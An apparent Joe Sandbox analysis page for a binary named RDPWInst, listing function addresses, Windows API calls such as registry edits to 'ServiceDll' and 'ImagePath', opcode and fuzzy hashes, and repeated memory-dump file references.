Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction ID: d971c45546d1ba4d910c131f5b4d15d6df32f901540fb653785064192c66a389
Opcode Fuzzy Hash: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction Fuzzy Hash: 712191749002508BDF21BF79988975737A0AB06319F1640BFE806AB2C7C37C9CA4CB9D

Function 00402990 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00402F9F,?,00402C72), ref: 004029A6

Strings

$zD, xrefs: 004029B7
$zD, xrefs: 004029AF, 004029BD

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: $zD$$zD
API String ID: 4275171209-354537599
Opcode ID: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction ID: 5217acd6ab2d11c2bd36ab0357f96252e91eb64f60a530f80fec48377855cdbd
Opcode Fuzzy Hash: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction Fuzzy Hash: 8AF062F1B143004FDB45CF799D853157AD1A78A318F20807EE608EB7E8EBB484468B48

Function 004069D4 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 004068D2
SysAllocStringLen.OLEAUT32(?,?), ref: 004069DF
SysFreeString.OLEAUT32(?), ref: 004069F1

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction ID: fb71732fc0ca27c4a1f64b9cddcd98791c7700d24e5edf769cc3926ad45b99af
Opcode Fuzzy Hash: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction Fuzzy Hash: D6E08CB91022017DEA002F228D14B3B3368AF82311B6980BFB401BA2D1D67C88419A3C

Function 004398F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 0043991B

Strings

ImagePath, xrefs: 004398F0

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction ID: d4c3dc3867a5d7f93f9a48779984ca1be9368a485682844844f209d8ad6df9e6
Opcode Fuzzy Hash: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction Fuzzy Hash: C0019E76604208AFDB00EFA9CC81EDFB7A8EB49314F00817AB954D7342DA749E048BA5

Function 004399A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

Strings

$sD, xrefs: 004399BF, 004399C9, 004399F8, 00439A1D, 004399D7

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID: $sD
API String ID: 71445658-3047594130
Opcode ID: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction ID: 93af5e93b009f9dfb1ca8860ce5652d254f583336edc44d6a4486ea6cd266cab
Opcode Fuzzy Hash: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction Fuzzy Hash: 19017571B04208AFD714EB65CC52A9EB3FCEB4C304F61457BF445E3281DA79EE149658

Function 0043987C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,ServiceDll,?,?), ref: 004398AE

Strings

ServiceDll, xrefs: 00439884

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Value
String ID: ServiceDll
API String ID: 3702945584-3252591312
Opcode ID: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction ID: 396de0d2a0ab042baed8acc32e75219307ae4a3dd24f7b0442dd3090ee3af4a1
Opcode Fuzzy Hash: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction Fuzzy Hash: 74018671A042086FD750EBAEDC81A9FBBEC9F49324F00806AF958E7382D9799D049765

Function 00439D1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004399A0: RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

RegCloseKey.ADVAPI32(00000000,00000000,00439D81,?,00447324), ref: 00439D5F

Strings

$sD, xrefs: 00439D26, 00439D4A, 00439D50, 00439D77

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: $sD
API String ID: 47109696-3047594130
Opcode ID: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction ID: e2b80e318971c5615629c962b670a86c0d36aae3c059df6a015560dc8872c8c4
Opcode Fuzzy Hash: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction Fuzzy Hash: F9013171E14304EFDB05CFA9C892A5DB7F8EB4D310F6140B6E810A7351D675EE10DA54

Function 0043924C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,004392B4,?,?,ImagePath,00000000,004392B4), ref: 0043927D

Strings

ImagePath, xrefs: 0043924D

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction ID: 752c998736a6c6af0e84b74aa330b189edc71255cbbe141243c37e1b481e64ab
Opcode Fuzzy Hash: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction Fuzzy Hash: 90F01CA23042406FD744EA6E9C81F6B96DCDBCC714F14443EB288C7282D968CC098769

Function 004389D8 Relevance: 3.1, APIs: 2, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A52
RegCreateKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A8C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction ID: 0ee4ecbf886d923d9c7bbf31fd477b4cbe2ff9aaa7d825c43a2ca86d525438e5
Opcode Fuzzy Hash: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction Fuzzy Hash: E3315C70B04348AFDB11EBA98842B9EF7F9AB48304F50447EB544E7282DA78AF059759

Function 0040920C Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248

Part of subcall function 0040941C: lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
Part of subcall function 0040941C: lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileLibraryLoadModuleNamelstrcpynlstrlen
String ID:
API String ID: 2912033995-0
Opcode ID: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction ID: f6262d892358e01f8eacd9344567111696420312dcbdab07fa653b046a231d07
Opcode Fuzzy Hash: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction Fuzzy Hash: 43114270A4421CABDB10EB51CD86BDD73B8DB04304F5144FBB509B72D1DA785E858A59

Function 0040F77C Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F788
GetLastError.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F79A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction ID: 8407d2a862a87125c88b0e9e376b57c3f61afd3adb54f06dd13a213247f2bd06
Opcode Fuzzy Hash: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction Fuzzy Hash: 5CE04F1732122016DD3530BC19CA6AB1244498B7A83280937FC51F3BD2D23E4D5B519F

Function 004046C0 Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004046DF
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004046E8

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction ID: 9545df1e08670e3e4372b9a2ed629c94f39af83de60d034ef920510406bc5815
Opcode Fuzzy Hash: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction Fuzzy Hash: D1E092B16041106BDB54CE6A9980A6723CC9B89354F008877BA04EB282E2B9CC015776

Function 00414634 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(00449DB0,00000001,00000000), ref: 00414644
CloseHandle.KERNEL32(00000000,00449DB0,00000001,00000000,?,00449EB4,00414694,00449EB4,00000000,?,0041770A,00000000,00417872), ref: 00414651

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseCompareExchangeHandleInterlocked
String ID:
API String ID: 190309047-0
Opcode ID: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction ID: 63ce862fb254c7bb27cf93041dcda8475e179d55c14a8c261316d7a773b2a43f
Opcode Fuzzy Hash: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction Fuzzy Hash: 3FD0A7F275172033DA2021A94DC1FAB014C8B9975CF015563BE44EF283D59CCC9102FC

Function 00438860 Relevance: 3.0, APIs: 2, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseFlush
String ID:
API String ID: 320916635-0
Opcode ID: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction ID: 02ceb0405e4d458188627afd9845f8495605ad087acfb065aa2a027a14818eba
Opcode Fuzzy Hash: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction Fuzzy Hash: 8DE0ECA1B003008ADF64FF7684C4A12B6D86F48304B48D4BAB808DE14BDA3CD4109725

Function 00438B08 Relevance: 1.6, APIs: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction ID: 89278caf5ef83198d89b8dc4a9c9fb76eb3a10e2e46a05883e0df08903897f1a
Opcode Fuzzy Hash: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction Fuzzy Hash: C921D370B04344AFDB11EB65C842B9EF7F99B48304F2144BEB804E3282DA7C9E059758

Function 004083B0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 004083CE

Part of subcall function 0040920C: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248
Part of subcall function 0040920C: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction ID: 90d1829834ce79f86c13b7573f8e9a8c333b05ddd33e28dd31ebb7d28ab9999b
Opcode Fuzzy Hash: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction Fuzzy Hash: 84E0C9B1A003109BCB10DE58C9C5A477798AB48764F044AAAED64EF387D775DD1087D5

Function 0040F650 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000080,00000000,?,?,004257A8,0042F5F0,00000000,0042F6D7,?,?,004257A8), ref: 0040F68A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
